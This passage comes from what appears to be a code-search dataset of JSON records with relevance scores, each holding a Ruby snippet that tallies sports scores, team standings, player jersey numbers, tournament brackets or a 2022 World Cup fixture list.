game_info[\"away_team\"]\n home_score = game_info[\"home_score\"].to_i\n away_score = game_info[\"away_score\"].to_i\n if home_score > away_score\n #add 1 win to home_team and add 1 loss to away_team\n team_scorecard[home_team][:wins] += 1\n team_scorecard[away_team][:losses] += 1\n elsif home_score < away_score\n #add 1 win to away_team and add 1 loss to home_team\n team_scorecard[home_team][:losses] += 1\n team_scorecard[away_team][:wins] += 1\n else\n #add 1 tie to both home_team and away_team\n team_scorecard[home_team][:ties] += 1\n team_scorecard[away_team][:ties] += 1\n end\n end\n team_scorecard.to_a\nend", "title": "" }, { "docid": "65d3d94adafb4a205e36660fa3ec3969", "score": "0.6334004", "text": "def calculate_team_scorecard(game_matchups, scorecard_template)\n team_scorecard = scorecard_template\n #based on game results, increase appropriate wins/losses/ties values\n game_matchups.each do |game_info|\n home_team = game_info[\"home_team\"]\n away_team = game_info[\"away_team\"]\n home_score = game_info[\"home_score\"].to_i\n away_score = game_info[\"away_score\"].to_i\n if home_score > away_score\n #add 1 win to home_team and add 1 loss to away_team\n team_scorecard[home_team][:wins] += 1\n team_scorecard[away_team][:losses] += 1\n elsif home_score < away_score\n #add 1 win to away_team and add 1 loss to home_team\n team_scorecard[home_team][:losses] += 1\n team_scorecard[away_team][:wins] += 1\n else\n #add 1 tie to both home_team and away_team\n team_scorecard[home_team][:ties] += 1\n team_scorecard[away_team][:ties] += 1\n end\n end\n team_scorecard.to_a\nend", "title": "" }, { "docid": "6633277be7696f887b5f1d79d4652444", "score": "0.6299394", "text": "def return_teams\r\n result = Array.new(@teams) { [] }\r\n allocation = @neighbourhoods_list[0].l_best_position\r\n (0..@length - 1).each do |x|\r\n (0..@teams - 1).each do |y|\r\n result[y].append(@table[x]['id']) if allocation[x][y] == 1\r\n end\r\n end\r\n # If there are any separated students\r\n # Assign them to teams\r\n assign_separated(result) unless @separated.nil?\r\n result\r\n end", "title": "" }, { "docid": "f4065b6357ec983da7180751471265c8", "score": "0.62530285", "text": "def point_calculator(team)\n game_hash[team][:players].reduce(0) { | memo, player |\n memo += player[:points]\n }\nend", "title": "" }, { "docid": "6f3b4b863477ccb5309e003b4b97dc42", "score": "0.6175361", "text": "def total_points\n\n points = 0\n wattball_matches_as_team1.each do |match|\n points += match.points(1) || 0\n end\n\n wattball_matches_as_team2.each do |match|\n points += match.points(2) || 0\n end\n\n points\n end", "title": "" }, { "docid": "a81f4b97002c61728c7c6c10066b6e75", "score": "0.61611766", "text": "def player_numbers(team_name)\n nums = []\n \n tname = false\n game_hash.each do |location, team_hash|\n\n \n #the below is actually iterating through the keys of the hash containing the team info, because the value of game_hash is....another hash\n team_hash.each do |key, vals|\n \n #set flag to true if it's the right team\n if vals == team_name \n tname = true \n # this makes sure I'm only iterating through the right pair to begin with\n if key == :players && tname == true # might need to swap these two\n vals.each do |player, stat| # remember stat is a hash (the value of the player name)!\n \n #push the stat into the array if it's the jersey number, otherwise keep iterating. \n nums << stat.fetch_values(:number)\n end\n end\n end\n end\n end\n nums.flatten\nend", "title": "" }, { "docid": "9a700f655cc3a74d9996c27004b33d9a", "score": "0.6160591", "text": "def merge_team_stats(params)\n ['Base', 'Advanced', 'Four Factors'].map do |measure_type|\n fetch_team_stats_hashes(params.merge('MeasureType' => measure_type))\n end.flatten.group_by do |team_hash|\n team_hash['TEAM_ID']\n end.map do |team_id, hashes|\n hashes.inject({}) do |result, h|\n result.merge(h)\n end\n end\nend", "title": "" }, { "docid": "03e46c65b9475eb1178a67af1e5f3907", "score": "0.61560774", "text": "def load_stats\n[\n {\n home_team: \"Jets\",\n away_team: \"Giants\",\n home_score: 21,\n away_score: 3\n },\n {\n home_team: \"Steelers\",\n away_team: \"Giants\",\n home_score: 21,\n away_score: 3\n },\n {\n home_team: \"Patriots\",\n away_team: \"Giants\",\n home_score: 21,\n away_score: 3\n },\n {\n home_team: \"Chargers\",\n away_team: \"Jets\",\n home_score: 13,\n away_score: 6\n },\n {\n home_team: \"Patriots\",\n away_team: \"Jets\",\n home_score: 13,\n away_score: 6\n },\n {\n home_team: \"Steelers\",\n away_team: \"Jets\",\n home_score: 3,\n away_score: 6\n },\n {\n home_team: \"Dolphins\",\n away_team: \"Jets\",\n home_score: 0,\n away_score: 3\n },\n{\n home_team: \"Browns\",\n away_team: \"Jets\",\n home_score: 0,\n away_score: 21\n },\n {\n home_team: \"Chargers\",\n away_team: \"Jets\",\n home_score: 7,\n away_score: 21\n },\n {\n home_team: \"Steelers\",\n away_team: \"Broncos\",\n home_score: 7,\n away_score: 13\n },\n {\n home_team: \"Patriots\",\n away_team: \"Broncos\",\n home_score: 7,\n away_score: 3\n },\n {\n home_team: \"Broncos\",\n away_team: \"Colts\",\n home_score: 3,\n away_score: 0\n },\n {\n home_team: \"Patriots\",\n away_team: \"Colts\",\n home_score: 11,\n away_score: 7\n },\n {\n home_team: \"Steelers\",\n away_team: \"Patriots\",\n home_score: 7,\n away_score: 21\n },\n {\n home_team: \"Steelers\",\n away_team: \"Colts\",\n home_score: 24,\n away_score: 21\n },\n {\n home_team: \"Steelers\",\n away_team: \"Colts\",\n home_score: 24,\n away_score: 21\n }\n]\nend", "title": "" }, { "docid": "f902cdce062c3f81c56a964ae98daef5", "score": "0.6153661", "text": "def get_rankings\n #create tmp hash storage for all the rows in the rankings table\n row_holder = Hash.new { |hash, key| hash[key] =\n {'played' => 0, '3_points' => 0, '2_points' => 0, '1_point' => 0,\n '0_points' => 0, 'won_sets' => 0, 'lost_sets' => 0, 'points' => 0,\n 'name' => key}}\n\n @games.each do |g|\n if g.has_been_played?\n #add played game for both teams\n row_holder[g.home_team]['played'] += 1\n row_holder[g.away_team]['played'] += 1\n\n #add won sets for each team\n row_holder[g.home_team]['won_sets'] += g.home_sets\n row_holder[g.away_team]['won_sets'] += g.away_sets\n\n #add lost sets for each team\n row_holder[g.home_team]['lost_sets'] += g.away_sets\n row_holder[g.away_team]['lost_sets'] += g.home_sets\n\n #handle all different game outcomes, prepare for ugly code\n #handle 3-0 and 3-1\n if (g.home_sets == 3) && (g.away_sets < 2)\n row_holder[g.home_team]['points'] += 3\n row_holder[g.home_team]['3_points'] += 1\n row_holder[g.away_team]['0_points'] += 1\n\n #handle 3-2\n elsif (g.home_sets == 3) && (g.away_sets == 2)\n row_holder[g.home_team]['points'] += 2\n row_holder[g.away_team]['points'] += 1\n row_holder[g.home_team]['2_points'] += 1\n row_holder[g.away_team]['1_point'] += 1\n\n #handle 2-3\n elsif (g.home_sets == 2) && (g.away_sets ==3)\n row_holder[g.away_team]['points'] += 2\n row_holder[g.home_team]['points'] += 1\n row_holder[g.home_team]['1_point'] += 1\n row_holder[g.away_team]['2_points'] += 1\n\n #handle 0-3 and 1-3\n elsif (g.home_sets < 2) && (g.away_sets == 3)\n row_holder[g.away_team]['points'] += 3\n row_holder[g.home_team]['0_points'] += 1\n row_holder[g.away_team]['3_points'] += 1\n end\n\n # make sure hash is generated when no games have been played yet\n else\n row_holder[g.home_team]['played'] += 0\n row_holder[g.away_team]['played'] += 0\n end\n end\n\n\n\n #convert the row_holder hash to a sorted array\n sort_ranking(row_holder)\n end", "title": "" }, { "docid": "49fe747d70fb2a1d7336a28dc8ba7e4e", "score": "0.6135898", "text": "def generate_scores(stage1, matches, players)\n i, matches_per_round = 0, 1\n round_depth = Math.log2(players.length).ceil\n query = PlayerMatch.select(:player_id, :match_id, :result)\n .where(match_id: matches).reorder(match_id: :asc)\n scores = Array.new(round_depth, [])\n\n while (i < round_depth)\n j, k = 0, 0\n scores[i] = Array.new(matches_per_round, nil)\n while (k < scores[i].count)\n results = query.where(match_id: stage1[i][k]).first\n if (!results.blank?)\n if results['result'] == \"Win\"\n scores[i][j] = [1,0]\n else\n scores[i][j] = [0,1]\n end\n else\n scores[i][j] = [nil, nil]\n end\n j += 1\n k += 1\n end\n\n i += 1\n matches_per_round *= 2\n end\n return scores\n end", "title": "" }, { "docid": "b36c43c689dd41bbf94183f6dd5e2ea7", "score": "0.6134493", "text": "def sets_won(team)\n match_sets.reduce(0) do |sum, set|\n winner = set.compute_team_winner\n sum + (winner && winner == team ? 1 : 0)\n end\n end", "title": "" }, { "docid": "8e60e9e6d423a1982fdb22726067d8fc", "score": "0.6113367", "text": "def get_teams\n res = Array.new\n\n @games.each do |g|\n #check if home team is in the result array\n if !res.include?(g.home_team)\n res.push(g.home_team)\n end\n\n #check if away team is in the result array\n if !res.include?(g.away_team)\n res.push(g.away_team)\n end\n end\n\n return res\n end", "title": "" }, { "docid": "9d2d1795bd791d051aa6f534a8a67697", "score": "0.6086646", "text": "def player_numbers(team)\n # data = game_hash\n jersey_data = team_name_stats(game_hash)\n jersey_nums = []\n \n jersey_data.each_pair do |team_name, team_hash|\n if team_name == team\n team_hash.each_pair do |team_key, team_value|\n if team_key == :players\n team_value.map do |player|\n player.each_pair do |player_key, player_value|\n \n if player_key == :number\n jersey_nums << player_value\n end\n \n end\n end\n end\n end\n end\n end\n \n jersey_nums\nend", "title": "" }, { "docid": "5df3d2d38c6cf43793376bc0a9bcdf79", "score": "0.60833097", "text": "def total_runs_by_teams(table_of_teams)\n hash_of_teams = Hash.new(0)\n table_of_teams.each do |table_row|\n hash_of_teams[table_row['batting_team']] += table_row['total_runs'].to_i\n end\n hash_of_teams['Rising Pune Supergiants'] += hash_of_teams['Rising Pune Supergiant']\n hash_of_teams.delete('Rising Pune Supergiant')\n hash_of_teams\nend", "title": "" }, { "docid": "f90918fd2b18f5cb10b0e314e72a7b0c", "score": "0.6073671", "text": "def points(team)\n first = 0\n res = self.result\n\n if res\n if team == 1\n first_team = res[0]\n sec_team = res[1]\n elsif team == 2\n first_team = res[1]\n sec_team = res[0]\n else \n raise \"Invalid Team chosen\"\n end\n\n p first_team <=> sec_team\n # Compare the results\n outcome = first_team <=> sec_team\n\n if outcome > 0\n # Win\n result = 3\n elsif outcome < 0\n # Loss\n result = 0\n else \n # Draw\n result = 1\n end\n else\n result = nil\n end\n\n result\n end", "title": "" }, { "docid": "05fe4d7a2eb2743b129c961f29bdca2b", "score": "0.60628164", "text": "def winning_team\n home_team_points = game_hash[:home][:players].sum { |e| e[:points] }\n away_team_points = game_hash[:away][:players].sum { |e| e[:points] }\n\n if home_team_points > away_team_points\n return game_hash[:home][:team_name]\n else\n return game_hash[:away][:team_name]\n end\nend", "title": "" }, { "docid": "c0f1c4d22fe6035227eee290c1cff4e6", "score": "0.6054766", "text": "def add_match_results(match)\n if match[0][1] == match[1][1]\n team1 = @teams.find { |team| team.name == match[0][0] }\n team2 = @teams.find { |team| team.name == match[1][0] }\n\n team1.score += 1\n team2.score += 1\n else\n winner = match.max_by { |x| x[1] }\n losser = match.min_by { |x| x[1] }\n\n team1 = @teams.find { |team| team.name == winner[0] }\n team2 = @teams.find { |team| team.name == losser[0] }\n\n team1.score += 3\n end\n team1.goals += match[0][1].to_i\n team2.goals += match[1][1].to_i\n end", "title": "" }, { "docid": "6d092b41943dd69b518014f7f0f53622", "score": "0.6043073", "text": "def player_data_by_team(team)\n players = []\n if team == game_hash[:home][:team_name]\n players << game_hash[:home][:players]\n else\n players << game_hash[:away][:players]\n end\n return players.flatten\nend", "title": "" }, { "docid": "4c59c87b793f8050adcd4b33b4c78832", "score": "0.60422313", "text": "def player_numbers(team_name)\n outcome = []\n game_hash.each do |home_or_away, team_details|\n team_details.each do |key,value|\n if value == team_name\n game_hash[home_or_away][:players].each do |one_hash|\n one_hash.each do |key1,value1|\n if key1 == :number \n outcome << one_hash[key1]\n end\n end\n end \n end\n end\n end\n outcome\nend", "title": "" }, { "docid": "0ac4a69993b2347775ad07f3d5dbc434", "score": "0.60232973", "text": "def generate_players(stage1, stage2, matches, players)\n i, j, x = 0, 0, 0\n names = get_names(players)\n first_round_size = 2 ** (Math.log2(names.length).ceil - 1)\n player_names = Array.new(first_round_size, [])\n extra_players = []\n temp_scores = []\n extra_matchups = stage1.reverse[0].compact()\n query = PlayerMatch.select(:player_id, :match_id, :result)\n .where(match_id: extra_matchups).reorder(match_id: :asc)\n query.each do |row|\n extra_players.push(get_names(row.player_id)[0])\n end\n\n while (names.length != 0)\n if (extra_players.include? names.first)\n player_names[i] = [extra_players[j], extra_players[j + 1]]\n names.delete(extra_players[j])\n names.delete(extra_players[j + 1])\n j += 2\n else\n player_names[i] = [names.shift(), nil]\n end\n i += 1\n end\n\n original_scores = stage2.reverse[0]\n while (original_scores.length != 0)\n if ( (original_scores[x].to_s.include? \"nil\") )\n original_scores.shift\n else\n temp_scores.push(original_scores.shift)\n end\n end\n\n scores = Array.new(first_round_size, [])\n x = 0\n while (x < first_round_size)\n if (player_names[x].to_s.include? \"nil\")\n scores[x] = [nil, nil]\n else\n scores[x] = (temp_scores.shift)\n end\n x += 1\n end\n \n stage2[stage2.length - 1] = scores\n bracket = {:teams => player_names, :results => stage2.reverse}\n return bracket\n end", "title": "" }, { "docid": "5d6509beeb411cbb8a38cb609018126f", "score": "0.6013608", "text": "def points(games)\n games.sum { |score| [1, 3, 0][score[0] <=> score[2]] }\nend", "title": "" }, { "docid": "def9c97bf1831500913f86904e6aaedf", "score": "0.6010041", "text": "def team_with_more_points(game)\n home_points = game[:home_team][:players].collect do |player|\n player[:stats][:points]\n end.inject {|sum, n| sum + n}\n away_points = game[:away_team][:players].collect do |player|\n player[:stats][:points]\n end.inject {|sum, n| sum + n}\n home_points > away_points ? game[:home_team][:team_name] : game[:away_team][:team_name]\nend", "title": "" }, { "docid": "4d833e1d1ffcc33615f0e272baa518ec", "score": "0.6004164", "text": "def player_numbers (team_name)\n player_numbers_list = [] #Empty array to hold lst of players numbers\n game_hash.each do |team_key, team_value|#iterate down 1 level\n if team_value[:team_name] == team_name\n team_value[:players].each do |player_stats|\n player_stats.each do |key, value|#iterate through each players stats\n if key == :number #set :number as the comparison ID\n player_numbers_list << value # push players numbers/\"value\" into the empty array\n end\n end\n end\n end\n end\n player_numbers_list\nend", "title": "" }, { "docid": "41ee4251786141a4a2ccd552a182a24d", "score": "0.59984505", "text": "def collect_stat_by_name (stat) #returns hash of \"name\" => stat value\n team_names_array = team_names\n player_stats_array = []\n roster = []\n player_stat = {}\n \n team_names_array.each do |team|\n roster << search_team_data(team, :players)\n roster.flatten!\n roster.each do |player_entry|\n player_stats_array << player_entry.slice(:player_name, stat)\n end\n end\n player_stats_array.each do |player_stat_hash|\n player_stat[player_stat_hash[:player_name]] = player_stat_hash[stat]\n end\n player_stat\nend", "title": "" }, { "docid": "13d329a6a5023eacb18a98cb34556cee", "score": "0.5996621", "text": "def player_numbers(input_team)\nnumbers = []\ngame_hash.each do |place, team|\n if team[:team_name] == input_team\n team.each do |attribute, data|\n next unless attribute == :players\n data.each do |player| #passing through an array \n numbers.push(player[:number])\n end \n end\n end\n end\nnumbers\nend", "title": "" }, { "docid": "93ac7b58bf0084f963cd629d413df14d", "score": "0.5996226", "text": "def player_numbers(team_name)\n team_player_numbers = []\n game_hash.each do |team,info|\n info.each do |team_info,team_data|\n if team_data.is_a? (Array) \n if team_info != :colors && info[:team_name] == team_name\n team_data.each do |player_index|\n team_player_numbers << player_index[:number]\n end\n end\n end\n end\n end\n team_player_numbers\nend", "title": "" }, { "docid": "0ec068a7ff35319a6e2074ace96c73f2", "score": "0.59921086", "text": "def teams\n return team_1 + team_2;\n end", "title": "" }, { "docid": "95e88077e98fcdebf0ac1f293ef48c51", "score": "0.5983588", "text": "def points(name)\n \n consolidated_player_list = game_hash[:home][:players] + game_hash[:away][:players]\n consolidated_player_list\n player_stat_hash = {}\n\n consolidated_player_list.each do |player|\n key = player[:player_name]\n player_stat_hash[key] = player\n end\n\n points = 0\n player_stat_hash.each do |player|\n points = player[1][:points] if player[0] == name\n end\n points\nend", "title": "" }, { "docid": "134080cc0fd8ed933a62dd8b1ac4ac5a", "score": "0.5982021", "text": "def game_data\r\n [\r\n {start_at: '20.11.2022 17:00', place: 'Al-Chaur', team1_name: 'Katar', team2_name: 'Ecuador', group: GROUP_A, round: GROUP},\r\n\r\n {start_at: '21.11.2022 14:00', place: 'Ar-Rayyan', team1_name: 'England', team2_name: 'Iran', group: GROUP_B, round: GROUP},\r\n {start_at: '21.11.2022 17:00', place: 'Doha', team1_name: 'Senegal', team2_name: 'Niederlande', group: GROUP_A, round: GROUP},\r\n {start_at: '21.11.2022 20:00', place: 'Ar-Rayyan', team1_name: 'USA', team2_name: 'Wales', group: GROUP_B, round: GROUP},\r\n\r\n {start_at: '22.11.2022 11:00', place: 'Lusail', team1_name: 'Argentinien', team2_name: 'Saudi-Arabien', group: GROUP_C, round: GROUP},\r\n {start_at: '22.11.2022 14:00', place: 'Doha', team1_name: 'Dänemark', team2_name: 'Tunesien', group: GROUP_D, round: GROUP},\r\n {start_at: '22.11.2022 17:00', place: 'Doha', team1_name: 'Mexiko', team2_name: 'Polen', group: GROUP_C, round: GROUP},\r\n {start_at: '22.11.2022 20:00', place: 'Al Wakrah', team1_name: 'Frankreich', team2_name: 'Australien', group: GROUP_D, round: GROUP},\r\n\r\n {start_at: '23.11.2022 11:00', place: 'Al-Chaur', team1_name: 'Marokko', team2_name: 'Kroatien', group: GROUP_F, round: GROUP},\r\n {start_at: '23.11.2022 14:00', place: 'Ar-Rayyan', team1_name: 'Deutschland', team2_name: 'Japan', group: GROUP_E, round: GROUP},\r\n {start_at: '23.11.2022 17:00', place: 'Doha', team1_name: 'Spanien', team2_name: 'Costa Rica', group: GROUP_E, round: GROUP},\r\n {start_at: '23.11.2022 20:00', place: 'Ar-Rayyan', team1_name: 'Belgien', team2_name: 'Kanada', group: GROUP_F, round: GROUP},\r\n\r\n {start_at: '24.11.2022 11:00', place: 'Al Wakrah', team1_name: 'Schweiz', team2_name: 'Kamerun', group: GROUP_G, round: GROUP},\r\n {start_at: '24.11.2022 14:00', place: 'Doha', team1_name: 'Uruguay', team2_name: 'Südkorea', group: GROUP_H, round: GROUP},\r\n {start_at: '24.11.2022 17:00', place: 'Doha', team1_name: 'Portugal', team2_name: 'Ghana', group: GROUP_H, round: GROUP},\r\n {start_at: '24.11.2022 20:00', place: 'Lusail', team1_name: 'Brasilien', team2_name: 'Serbien', group: GROUP_G, round: GROUP},\r\n\r\n {start_at: '25.11.2022 11:00', place: 'Ar-Rayyan', team1_name: 'Wales', team2_name: 'Iran', group: GROUP_B, round: GROUP},\r\n {start_at: '25.11.2022 14:00', place: 'Doha', team1_name: 'Katar', team2_name: 'Senegal', group: GROUP_A, round: GROUP},\r\n {start_at: '25.11.2022 17:00', place: 'Ar-Rayyan', team1_name: 'Niederlande', team2_name: 'Ecuador', group: GROUP_A, round: GROUP},\r\n {start_at: '25.11.2022 20:00', place: 'Al-Chaur', team1_name: 'England', team2_name: 'USA', group: GROUP_B, round: GROUP},\r\n\r\n {start_at: '26.11.2022 11:00', place: 'Al Wakrah', team1_name: 'Tunesien', team2_name: 'Australien', group: GROUP_D, round: GROUP},\r\n {start_at: '26.11.2022 14:00', place: 'Doha', team1_name: 'Polen', team2_name: 'Saudi-Arabien', group: GROUP_C, round: GROUP},\r\n {start_at: '26.11.2022 17:00', place: 'Doha', team1_name: 'Frankreich', team2_name: 'Dänemark', group: GROUP_D, round: GROUP},\r\n {start_at: '26.11.2022 20:00', place: 'Lusail', team1_name: 'Argentinien', team2_name: 'Mexiko', group: GROUP_C, round: GROUP},\r\n\r\n {start_at: '27.11.2022 11:00', place: 'Ar-Rayyan', team1_name: 'Japan', team2_name: 'Costa Rica', group: GROUP_E, round: GROUP},\r\n {start_at: '27.11.2022 14:00', place: 'Doha', team1_name: 'Belgien', team2_name: 'Marokko', group: GROUP_F, round: GROUP},\r\n {start_at: '27.11.2022 17:00', place: 'Ar-Rayyan', team1_name: 'Kroatien', team2_name: 'Kanada', group: GROUP_F, round: GROUP},\r\n {start_at: '27.11.2022 20:00', place: 'Al-Chaur', team1_name: 'Spanien', team2_name: 'Deutschland', group: GROUP_E, round: GROUP},\r\n\r\n {start_at: '28.11.2022 11:00', place: 'Al Wakrah', team1_name: 'Kamerun', team2_name: 'Serbien', group: GROUP_G, round: GROUP},\r\n {start_at: '28.11.2022 14:00', place: 'Doha', team1_name: 'Südkorea', team2_name: 'Ghana', group: GROUP_H, round: GROUP},\r\n {start_at: '28.11.2022 17:00', place: 'Doha', team1_name: 'Brasilien', team2_name: 'Schweiz', group: GROUP_G, round: GROUP},\r\n {start_at: '28.11.2022 20:00', place: 'Lusail', team1_name: 'Portugal', team2_name: 'Uruguay', group: GROUP_H, round: GROUP},\r\n\r\n {start_at: '29.11.2022 16:00', place: 'Al-Chaur', team1_name: 'Niederlande', team2_name: 'Katar', group: GROUP_A, round: GROUP},\r\n {start_at: '29.11.2022 16:00', place: 'Ar-Rayyan', team1_name: 'Ecuador', team2_name: 'Senegal', group: GROUP_A, round: GROUP},\r\n {start_at: '29.11.2022 20:00', place: 'Ar-Rayyan', team1_name: 'Wales', team2_name: 'England', group: GROUP_B, round: GROUP},\r\n {start_at: '29.11.2022 20:00', place: 'Doha', team1_name: 'Iran', team2_name: 'USA', group: GROUP_B, round: GROUP},\r\n\r\n {start_at: '30.11.2022 16:00', place: 'Al Wakrah', team1_name: 'Australien', team2_name: 'Dänemark', group: GROUP_D, round: GROUP},\r\n {start_at: '30.11.2022 16:00', place: 'Doha', team1_name: 'Tunesien', team2_name: 'Frankreich', group: GROUP_D, round: GROUP},\r\n {start_at: '30.11.2022 20:00', place: 'Doha', team1_name: 'Polen', team2_name: 'Argentinien', group: GROUP_C, round: GROUP},\r\n {start_at: '30.11.2022 20:00', place: 'Lusail', team1_name: 'Saudi-Arabien', team2_name: 'Mexiko', group: GROUP_C, round: GROUP},\r\n\r\n {start_at: '01.12.2022 16:00', place: 'Ar-Rayyan', team1_name: 'Kroatien', team2_name: 'Belgien', group: GROUP_F, round: GROUP},\r\n {start_at: '01.12.2022 16:00', place: 'Doha', team1_name: 'Kanada', team2_name: 'Marokko', group: GROUP_F, round: GROUP},\r\n {start_at: '01.12.2022 20:00', place: 'Ar-Rayyan', team1_name: 'Japan', team2_name: 'Spanien', group: GROUP_E, round: GROUP},\r\n {start_at: '01.12.2022 20:00', place: 'Al-Chaur', team1_name: 'Costa Rica', team2_name: 'Deutschland', group: GROUP_E, round: GROUP},\r\n\r\n {start_at: '02.12.2022 16:00', place: 'Al Wakrah', team1_name: 'Ghana', team2_name: 'Uruguay', group: GROUP_H, round: GROUP},\r\n {start_at: '02.12.2022 16:00', place: 'Doha', team1_name: 'Südkorea', team2_name: 'Portugal', group: GROUP_H, round: GROUP},\r\n {start_at: '02.12.2022 20:00', place: 'Doha', team1_name: 'Serbien', team2_name: 'Schweiz', group: GROUP_G, round: GROUP},\r\n {start_at: '02.12.2022 20:00', place: 'Lusail', team1_name: 'Kamerun', team2_name: 'Brasilien', group: GROUP_G, round: GROUP},\r\n\r\n # Achtelfinale\r\n {start_at: '03.12.2022 16:00', place: 'Ar-Rayyan', team1_placeholder_name: '1. Gruppe A', team2_placeholder_name: '2. Gruppe B', group: nil, round: ROUND_OF_16},\r\n {start_at: '03.12.2022 20:00', place: 'Ar-Rayyan', team1_placeholder_name: '1. Gruppe C', team2_placeholder_name: '2. Gruppe D', group: nil, round: ROUND_OF_16},\r\n\r\n {start_at: '04.12.2022 16:00', place: 'Doha', team1_placeholder_name: '1. Gruppe D', team2_placeholder_name: '2. Gruppe C', group: nil, round: ROUND_OF_16},\r\n {start_at: '04.12.2022 20:00', place: 'Al-Chaur', team1_placeholder_name: '1. Gruppe B', team2_placeholder_name: '2. Gruppe A', group: nil, round: ROUND_OF_16},\r\n\r\n {start_at: '05.12.2022 16:00', place: 'Al Wakrah', team1_placeholder_name: '1. Gruppe E', team2_placeholder_name: '2. Gruppe F', group: nil, round: ROUND_OF_16},\r\n {start_at: '05.12.2022 20:00', place: 'Doha', team1_placeholder_name: '1. Gruppe G', team2_placeholder_name: '2. Gruppe H', group: nil, round: ROUND_OF_16},\r\n\r\n {start_at: '06.12.2022 16:00', place: 'Doha', team1_placeholder_name: '1. Gruppe F', team2_placeholder_name: '2. Gruppe E', group: nil, round: ROUND_OF_16},\r\n {start_at: '06.12.2022 20:00', place: 'Lusail', team1_placeholder_name: '1. Gruppe H', team2_placeholder_name: '2. Gruppe G', group: nil, round: ROUND_OF_16},\r\n\r\n # Viertelfinale\r\n {start_at: '09.12.2022 16:00', place: 'Doha', team1_placeholder_name: 'Sieger AF 5', team2_placeholder_name: 'Sieger AF 6', group: nil, round: QUARTERFINAL},\r\n {start_at: '09.12.2022 20:00', place: 'Lusail', team1_placeholder_name: 'Sieger AF 1', team2_placeholder_name: 'Sieger AF 2', group: nil, round: QUARTERFINAL},\r\n {start_at: '10.12.2022 16:00', place: 'Doha', team1_placeholder_name: 'Sieger AF 7', team2_placeholder_name: 'Sieger AF 8', group: nil, round: QUARTERFINAL},\r\n {start_at: '10.12.2022 20:00', place: 'Al-Chaur', team1_placeholder_name: 'Sieger AF 3', team2_placeholder_name: 'Sieger AF 4', group: nil, round: QUARTERFINAL},\r\n\r\n # Halbfinale\r\n {start_at: '13.12.2022 20:00', place: 'Lusail', team1_placeholder_name: 'Sieger VF 1', team2_placeholder_name: 'Sieger VF 2', group: nil, round: SEMIFINAL},\r\n {start_at: '14.12.2022 20:00', place: 'Al-Chaur', team1_placeholder_name: 'Sieger VF 3', team2_placeholder_name: 'Sieger VF 4', group: nil, round: SEMIFINAL},\r\n\r\n # Spiel um Platz 3\r\n {start_at: '17.12.2022 16:00', place: 'Ar-Rayyan', team1_placeholder_name: 'Verlierer HF 1', team2_placeholder_name: 'Verlierer HF 2', group: nil, round: PLACE_3},\r\n\r\n # Finale\r\n {start_at: '18.12.2022 16:00', place: 'Lusail', team1_placeholder_name: 'Sieger HF 1', team2_placeholder_name: 'Sieger HF 2', group: nil, round: FINAL},\r\n ]\r\nend", "title": "" }, { "docid": "e7ff559e9ed8fdec05dad259c8bfcbe1", "score": "0.5961267", "text": "def calculate_team_points_by_final_rank\n # Calculate how many points to award to each rank. When multiple teams\n # have the same rank (e.g., two teams tie for 5th place), those teams\n # get the average of the points available to those ranks. For example,\n # in a 6-team bracket, the teams in 1st through 4th place get 6 through 3\n # points respectively. The two teams in 5th get 1.5, the average of 2 and 1.\n sorted_teams = @teams.sort_by(&:final_rank)\n num_teams = sorted_teams.size.to_f\n\n final_rank_points = sorted_teams.each_with_index.\n each_with_object({}) do |(team, idx), rank_points|\n rank_points[team.final_rank] ||= []\n rank_points[team.final_rank] << num_teams - idx\n end\n\n base_point_value = @config.base_point_value\n\n sorted_teams.each do |team|\n points_earned = final_rank_points[team.final_rank].sum /\n final_rank_points[team.final_rank].size\n\n puts \"#{team.name} finished in position #{team.final_rank} and gets\" \\\n \" #{points_earned} points\" \\\n \"#{\" + #{base_point_value} base\" if base_point_value > 0}\"\n\n team.points = points_earned + base_point_value\n end\n end", "title": "" }, { "docid": "2b3cec58e37e9ef6d5c9170f66a9cf97", "score": "0.59593856", "text": "def winning_team\n home_score = 0\n away_score = 0\n game_hash[:home][:players].keys.each do |name|\n home_score += game_hash[:home][:players][name][:points]\n end\n game_hash[:away][:players].keys.each do |name|\n away_score += game_hash[:away][:players][name][:points]\n end\n home_score > away_score ? game_hash[:home][:team_name] : game_hash[:away][:team_name]\nend", "title": "" }, { "docid": "72f2c2948b631cd989e7649c85ed4245", "score": "0.5930726", "text": "def player_numbers(team_name)\n #returning an array of all the player numbers for each team\n arr = [] \n game_hash.each do |location, team|\n if team[:team_name] == team_name\n team[:players].each do |player_name, player_info|\n arr << player_info[:number]\n end\n end\n end\n arr\nend", "title": "" }, { "docid": "dd8d1fab1eeec3d01d7ecbec09361304", "score": "0.59302384", "text": "def player_numbers(team_name)\n new_Arr = []\n game_hash.each do |place, team|\n if team_name == team[:team_name]\n team.each do |attribute, data|\n if attribute == :players\n data.each do |player|\n new_Arr.push(player[:number])\n # binding.pry\n end\n end\n end\n end\n end\n new_Arr\nend", "title": "" }, { "docid": "00aea36b505ec0887adbf088b23a7888", "score": "0.59299064", "text": "def player_numbers(name_of_team)\n #built an empty array called numbers\n numbers = []\n # game_hash.each do |team, random| iterates over the hash to return all player numbers\n game_hash.each do |team, random|\n if name_of_team == game_hash[team][:team_name]\n game_hash[team][:players].each do |name, stats|\n numbers.push(stats[:number])\n end\n end\n end\n return numbers\nend", "title": "" }, { "docid": "341d6a69fe4a3b21439d36ae913ac951", "score": "0.5923928", "text": "def player_numbers(team)\n output = []\n hash = game_hash\n hash.each do |location, team_data|\n if team == game_hash[location][:team_name]\n hash[location][:players].each do |name, stats|\n output.push(stats[:number])\n end\n end\n end\n return output\nend", "title": "" }, { "docid": "badf52363f74a8a321f284c05bb245c5", "score": "0.59143925", "text": "def player_numbers(team)\n player_numbers = []\n game_hash.each do |location, attributes|\n if attributes[:team_name] == team\n attributes[:players].each do |player, stats|\n player_numbers << stats[:number]\n end\n end\n end\n player_numbers\nend", "title": "" }, { "docid": "afa402f6f3d7702067d0fb63f7388396", "score": "0.58858424", "text": "def total_team_score(teams_id)\n total_score = 0\n @league_data.each do\n |team| \n # binding.pry\n if team.home_team_id == teams_id\n total_score += team.home_team_score\n elsif team.away_team_id == teams_id\n total_score += team.away_team_score\n end\n end\n return total_score\n end", "title": "" }, { "docid": "73d2e0f8f526210705814ba2fa8f8203", "score": "0.588305", "text": "def player_numbers(team_name)\n team_numbers = nil\n game_hash.map do |team, team_stats|\n if team_stats[:team_name] == team_name\n team_numbers = team_stats[:players].map do |player_stats|\n player_stats[:number]\n end\n end\n end\n team_numbers\nend", "title": "" }, { "docid": "619cb1492e111c7d22028a5b1522e959", "score": "0.58829385", "text": "def players\n # Build two arrays of players\n cur_players = teams.map do |team|\n team.wattball_players\n end\n\n # Combine the arrays\n 